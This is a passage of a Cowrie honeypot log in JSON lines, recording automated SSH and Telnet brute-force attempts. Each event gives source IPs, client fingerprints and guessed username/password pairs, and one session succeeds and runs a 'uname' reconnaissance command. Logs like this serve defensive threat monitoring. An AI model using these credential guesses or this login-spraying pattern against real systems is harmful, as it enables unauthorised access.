{"eventid":"cowrie.login.failed","username":"root","password":"bentley","message":"login attempt [root/bentley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:37.906035Z","src_ip":"185.236.22.41","session":"6be8d327ece0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:39.023984Z","src_ip":"185.236.22.41","session":"6be8d327ece0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":47976,"dst_ip":"10.17.0.5","dst_port":22,"session":"a274f101d26c","protocol":"ssh","message":"New connection: 193.151.144.93:47976 (10.17.0.5:22) [session: a274f101d26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:39.614870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:39.619722Z","src_ip":"193.151.144.93","session":"a274f101d26c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:39.783667Z","src_ip":"193.151.144.93","session":"a274f101d26c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:40.274854Z","src_ip":"193.151.144.93","session":"a274f101d26c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:41.443155Z","src_ip":"193.151.144.93","session":"a274f101d26c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46622,"dst_ip":"10.17.0.5","dst_port":22,"session":"076fb604f91c","protocol":"ssh","message":"New connection: 193.151.144.93:46622 (10.17.0.5:22) [session: 076fb604f91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:44.915251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:44.920976Z","src_ip":"193.151.144.93","session":"076fb604f91c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:45.085095Z","src_ip":"193.151.144.93","session":"076fb604f91c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:45.573079Z","src_ip":"193.151.144.93","session":"076fb604f91c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:47.581488Z","src_ip":"193.151.144.93","session":"076fb604f91c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:47.583788Z","src_ip":"193.151.144.93","session":"076fb604f91c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:47.746184Z","src_ip":"193.151.144.93","session":"076fb604f91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:47.751566Z","src_ip":"193.151.144.93","session":"076fb604f91c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46990,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe546973286","protocol":"telnet","message":"New connection: 69.4.83.194:46990 (159.203.135.109:23) [session: 1fe546973286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:48.698701Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46636,"dst_ip":"10.17.0.5","dst_port":22,"session":"3887496256d1","protocol":"ssh","message":"New connection: 193.151.144.93:46636 (10.17.0.5:22) [session: 3887496256d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:50.045093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:50.048696Z","src_ip":"193.151.144.93","session":"3887496256d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:50.211211Z","src_ip":"193.151.144.93","session":"3887496256d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:50.698912Z","src_ip":"193.151.144.93","session":"3887496256d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:55.165104Z","src_ip":"193.151.144.93","session":"3887496256d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51250,"dst_ip":"10.17.0.5","dst_port":22,"session":"41f6bb8fd9bf","protocol":"ssh","message":"New connection: 193.151.144.93:51250 (10.17.0.5:22) [session: 41f6bb8fd9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:55.484046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:55.489913Z","src_ip":"193.151.144.93","session":"41f6bb8fd9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":37938,"dst_ip":"10.17.0.5","dst_port":22,"session":"50664d5b2acf","protocol":"ssh","message":"New connection: 89.108.118.91:37938 (10.17.0.5:22) [session: 50664d5b2acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:55.591167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:55.596259Z","src_ip":"89.108.118.91","session":"50664d5b2acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:55.658482Z","src_ip":"193.151.144.93","session":"41f6bb8fd9bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:55.727048Z","src_ip":"89.108.118.91","session":"50664d5b2acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ser12345","message":"login attempt [root/ser12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:56.119188Z","src_ip":"89.108.118.91","session":"50664d5b2acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:56.233464Z","src_ip":"193.151.144.93","session":"41f6bb8fd9bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:57.253244Z","src_ip":"89.108.118.91","session":"50664d5b2acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:04:57.402588Z","src_ip":"193.151.144.93","session":"41f6bb8fd9bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42082,"dst_ip":"10.17.0.5","dst_port":22,"session":"8281edc49372","protocol":"ssh","message":"New connection: 193.151.144.93:42082 (10.17.0.5:22) [session: 8281edc49372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:00.981714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:00.986702Z","src_ip":"193.151.144.93","session":"8281edc49372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:01.153200Z","src_ip":"193.151.144.93","session":"8281edc49372","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:01.653517Z","src_ip":"193.151.144.93","session":"8281edc49372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:02.825176Z","src_ip":"193.151.144.93","session":"8281edc49372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":42098,"dst_ip":"10.17.0.5","dst_port":22,"session":"01d7233d9e4d","protocol":"ssh","message":"New connection: 193.151.144.93:42098 (10.17.0.5:22) [session: 01d7233d9e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:06.285586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:06.291391Z","src_ip":"193.151.144.93","session":"01d7233d9e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:06.462767Z","src_ip":"193.151.144.93","session":"01d7233d9e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:06.969125Z","src_ip":"193.151.144.93","session":"01d7233d9e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54426,"dst_ip":"159.203.135.109","dst_port":23,"session":"682ceb61497d","protocol":"telnet","message":"New connection: 69.4.83.194:54426 (159.203.135.109:23) [session: 682ceb61497d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:08.193840Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:08.573917Z","src_ip":"193.151.144.93","session":"01d7233d9e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55140,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfabd52e68f8","protocol":"telnet","message":"New connection: 69.4.83.194:55140 (159.203.135.109:23) [session: dfabd52e68f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:09.080413Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55138,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a14f2c20c9","protocol":"ssh","message":"New connection: 193.151.144.93:55138 (10.17.0.5:22) [session: a4a14f2c20c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:11.578023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:11.583706Z","src_ip":"193.151.144.93","session":"a4a14f2c20c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@opens